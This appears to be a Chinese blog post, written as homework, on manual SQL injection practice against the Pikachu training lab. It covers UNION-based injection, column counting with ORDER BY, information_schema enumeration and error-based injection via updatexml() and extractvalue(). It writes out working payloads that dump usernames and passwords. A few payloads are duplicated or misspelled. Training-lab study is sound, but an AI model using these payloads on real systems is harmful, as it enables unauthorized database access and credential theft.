SQL手注练习(作业)

Sql语句:
select database(); //获取数据库名称
select user();//获取用户名
select version(); //获取版本
基于union的信息获取
union联合查询:通过联合查询来寻找指定数据
notice:union联合查询需要与select字段相同。
语法:select * username,password from users where id=‘Cindy’ union select 1,2…
因此,我们在使用联合查询前需要进行字段数量的测试。
测试方法:使用order by排序功能。
order by介绍:order by在sql语句中起到对字段排序的作用。
语法:order by + num(字段的数量,>0,!>字段数均可)若大于字段数则会报错。
那么我们该如何测试呢?
基于语法特点,在num值大于字段数量是会报错,那么我们可以依次进行测试。直到其报错,字段数量为报错时num值减一,相信大家都会理解。

Information_schema注入

information_schma可以查到你的所有的搭建的数据库名、表名和列的数据类型,在一切条件未知的情况下,存在注入点的话我们可以直接尝试对information_schema进行访问,从而获得更多的信息。

获取数据库名(行话:爆库):

xxx’union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
1
获取表名(行话:爆表):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取列(行话:爆字段):

xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取密码(行话:爆数据):

xxx’union select username,password from users#
基于函数的报错注入

updatexml()
在这里插入图片描述x’ and updatexml(1,concat(0x7e,version()),0)# //0x7e是波浪号的十六进制
x’ and updatexml(1,concat(0x7e,datebase()),0)#

查版本
在这里插入图片描述
查名称
在这里插入图片描述
由此可获得数据库的名称

extractvalue()

extractvalue和updatexml的效果是一样的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值